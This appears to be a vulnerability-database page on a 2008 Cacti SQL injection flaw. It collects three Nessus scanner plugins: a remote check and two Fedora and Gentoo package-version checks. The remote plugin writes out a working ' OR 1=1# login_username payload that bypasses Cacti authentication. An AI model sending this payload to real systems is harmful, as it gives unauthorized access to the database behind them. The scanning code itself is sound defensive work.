Vulnerabilities > CVE-2008-0785 - SQL Injection vulnerability in Cacti

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(31048);
  script_version("1.24");
  script_cvs_date("Date: 2018/11/28 22:47:41");

  script_cve_id("CVE-2008-0785");
  script_bugtraq_id(27749);

  script_name(english:"Cacti index.php/sql.php Login Action login_username Parameter SQL Injection");
  script_summary(english:"Tries to manipulate a SQL query");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is susceptible to a
SQL injection attack." );
 script_set_attribute(attribute:"description", value:
"The remote host is running Cacti, a web-based front-end to RRDTool for
network graphing.

The version of Cacti installed on the remote host fails to sanitize
user input to the 'login_username' parameter before using it in the
'auth_login.php' script to perform database queries.  Regardless of
PHP's 'magic_quotes_gpc' setting, an attacker may be able to exploit
this issue to manipulate database queries to disclose sensitive
information, bypass authentication, or even attack the underlying
database.

Note that there are also reportedly several other vulnerabilities
associated with this version of Cacti, although Nessus has not checked
for them." );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2008/Feb/160");
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/488013/30/0/threaded" );
 script_set_attribute(attribute:"see_also", value:"http://forums.cacti.net/about25749.html" );
 script_set_attribute(attribute:"solution", value:"Upgrade to Cacti 0.8.7b / 0.8.6k or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
 script_cwe_id(89);

 script_set_attribute(attribute:"plugin_publication_date", value:"2008/02/13");

script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2008-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("cacti_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/cacti");
  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("webapp_func.inc");


port = get_http_port(default:80, php:TRUE);
install = get_install_from_kb(appname:'cacti', port:port, exit_on_fail:TRUE);
dir = install['dir'];

  # Make sure the script exists.
  url = string(dir, "/index.php/sql.php?action=login");

  r = http_send_recv3(method:"GET",item:url, port:port);
  if (isnull(r)) exit(0);
  res = r[2];

  # If so...
  if ("<title>Login to Cacti" >< res)
  {
    exploit = string(unixtime(), "' OR 1=1#");
    postdata = string("login_username=", urlencode(str:exploit));

    r = http_send_recv3(method: "POST", item: url, port: port,
      content_type:"application/x-www-form-urlencoded",
      data: postdata);
    if (isnull(r)) exit(0);

    # There's a problem if we get a 302 response code.
    if (
      egrep(pattern:"^HTTP/[^ ]+ 302 ", string:r[0]) &&
      egrep(pattern:"^Location: +index\.php", string:r[1])
    )
    {
      security_hole(port);
      set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);
      exit(0);
    }
  }

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Fedora Security Advisory 2008-1699.
#

include("compat.inc");

if (description)
{
  script_id(31104);
  script_version ("1.16");
  script_cvs_date("Date: 2019/08/02 13:32:27");

  script_cve_id("CVE-2008-0783", "CVE-2008-0784", "CVE-2008-0785", "CVE-2008-0786");
  script_bugtraq_id(27749);
  script_xref(name:"FEDORA", value:"2008-1699");

  script_name(english:"Fedora 8 : cacti-0.8.7b-1.fc8 (2008-1699)");
  script_summary(english:"Checks rpm output for the updated package.");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Fedora host is missing a security update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Fixes: * XSS vulnerabilities * Path disclosure vulnerabilities * SQL
injection vulnerabilities * HTTP response splitting vulnerabilities
bug#0000855: Unnecessary (and faulty) DEF generation for CF:AVERAGE
bug#0001083: Small visual fix for Cacti in 'View Cacti Log File'
bug#0001089: Graph xport modification to increase default rows output
bug#0001091: Poller incorrectly identifies unique hosts bug#0001093:
CLI Scripts bring MySQL down on large installations bug#0001094:
Filtering broken on Data Sources page bug#0001103: Fix looping poller
recache events bug#0001107: ss_fping.php 100% 'Pkt Loss' does not work
properly bug#0001114: Graphs with no template and/or no host cause
filtering errors on Graph Management page bug#0001115: View Poller
Cache does not show Data Sources that have no host bug#0001118: Graph
Generation fails if e.g. ifDescr contains some blanks bug#0001132:
TCP/UDP ping port ignored bug#0001133: Downed Device Detection: None
leads to database errors bug#0001134: update_host_status handles
ping_availability incorrectly bug#0001143: 'U' not allowed as min/max
RRD value bug#0001158: Deleted user causes error on user log viewer
bug#0001161: Re-assign duplicate radio button IDs bug#0001164: Add
HTML title attributes for certain pages bug#0001168:
ALL_DATA_SOURCES_NODUPS includes DUPs? SIMILAR_DATA_SOURCES_DUPS is
available again bug: Cacti does not guarentee RRA consolidation
functions exist in RRA's bug: Alert on changing logarithmic scaling
removed bug: add_hosts.php did not accept privacy protocol security:
Fix several security vulnerabilities feature: show basic RRDtool graph
options on Graph Template edit feature: Add additional logging to
Graph Xport feature: Add rows dropdown to devices, graphs and data
sources feature: Add device_id and event count to devices feature: Add
ids to devices, graphs and data sources pages feature: Add database
repair utility

Note that Tenable Network Security has extracted the preceding
description block directly from the Fedora security advisory. Tenable
has attempted to automatically clean and format it as much as possible
without introducing additional issues."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugzilla.redhat.com/show_bug.cgi?id=432758"
  );
  # https://lists.fedoraproject.org/pipermail/package-announce/2008-February/007951.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?3090b9fb"
  );
  script_set_attribute(attribute:"solution", value:"Update the affected cacti package.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(79, 89, 94, 200);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:fedoraproject:fedora:cacti");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:fedoraproject:fedora:8");

  script_set_attribute(attribute:"patch_publication_date", value:"2008/02/15");
  script_set_attribute(attribute:"plugin_publication_date", value:"2008/02/18");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2008-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Fedora Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/RedHat/release", "Host/RedHat/rpm-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("rpm.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/RedHat/release");
if (isnull(release) || "Fedora" >!< release) audit(AUDIT_OS_NOT, "Fedora");
os_ver = eregmatch(pattern: "Fedora.*release ([0-9]+)", string:release);
if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Fedora");
os_ver = os_ver[1];
if (! ereg(pattern:"^8([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Fedora 8.x", "Fedora " + os_ver);

if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);

cpu = get_kb_item("Host/cpu");
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Fedora", cpu);

flag = 0;
if (rpm_check(release:"FC8", reference:"cacti-0.8.7b-1.fc8")) flag++;


if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());
  else security_hole(0);
  exit(0);
}
else
{
  tested = pkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "cacti");
}

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from Gentoo Linux Security Advisory GLSA 200803-18.
#
# The advisory text is Copyright (C) 2001-2016 Gentoo Foundation, Inc.
# and licensed under the Creative Commons - Attribution / Share Alike 
# license. See http://creativecommons.org/licenses/by-sa/3.0/
#

include("compat.inc");

if (description)
{
  script_id(31444);
  script_version("1.16");
  script_cvs_date("Date: 2019/08/02 13:32:44");

  script_cve_id("CVE-2008-0783", "CVE-2008-0784", "CVE-2008-0785", "CVE-2008-0786");
  script_xref(name:"GLSA", value:"200803-18");

  script_name(english:"GLSA-200803-18 : Cacti: Multiple vulnerabilities");
  script_summary(english:"Checks for updated package(s) in /var/db/pkg");

  script_set_attribute(
    attribute:"synopsis", 
    value:
"The remote Gentoo host is missing one or more security-related
patches."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"The remote host is affected by the vulnerability described in GLSA-200803-18
(Cacti: Multiple vulnerabilities)

    The following inputs are not properly sanitized before being processed:
    'view_type' parameter in the file graph.php, 'filter' parameter
    in the file graph_view.php, 'action' and 'login_username' parameters in
    the file index.php (CVE-2008-0783).
    'local_graph_id' parameter in the file graph.php
    (CVE-2008-0784).
    'graph_list' parameter in the file graph_view.php, 'leaf_id' and
    'id' parameters in the file tree.php, 'local_graph_id' in the file
    graph_xport.php (CVE-2008-0785).
    Furthermore, CRLF injection attack are possible via unspecified vectors
    (CVE-2008-0786).
  
Impact :

    A remote attacker could exploit these vulnerabilities, leading to path
    disclosure, Cross-Site Scripting attacks, SQL injection, and HTTP
    response splitting.
  
Workaround :

    There is no known workaround at this time."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security.gentoo.org/glsa/200803-18"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"All Cacti users should upgrade to the latest version:
    # emerge --sync
    # emerge --ask --oneshot --verbose '>=net-analyzer/cacti-0.8.7b'"
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cwe_id(79, 89, 94, 200);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:cacti");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:gentoo:linux");

  script_set_attribute(attribute:"patch_publication_date", value:"2008/03/10");
  script_set_attribute(attribute:"plugin_publication_date", value:"2008/03/13");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2008-2019 Tenable Network Security, Inc.");
  script_family(english:"Gentoo Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Gentoo/release", "Host/Gentoo/qpkg-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("qpkg.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Gentoo/release")) audit(AUDIT_OS_NOT, "Gentoo");
if (!get_kb_item("Host/Gentoo/qpkg-list")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (qpkg_check(package:"net-analyzer/cacti", unaffected:make_list("ge 0.8.7b", "rge 0.8.6j-r8"), vulnerable:make_list("lt 0.8.7b"))) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());
  else security_hole(0);
  exit(0);
}
else
{
  tested = qpkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "Cacti");
}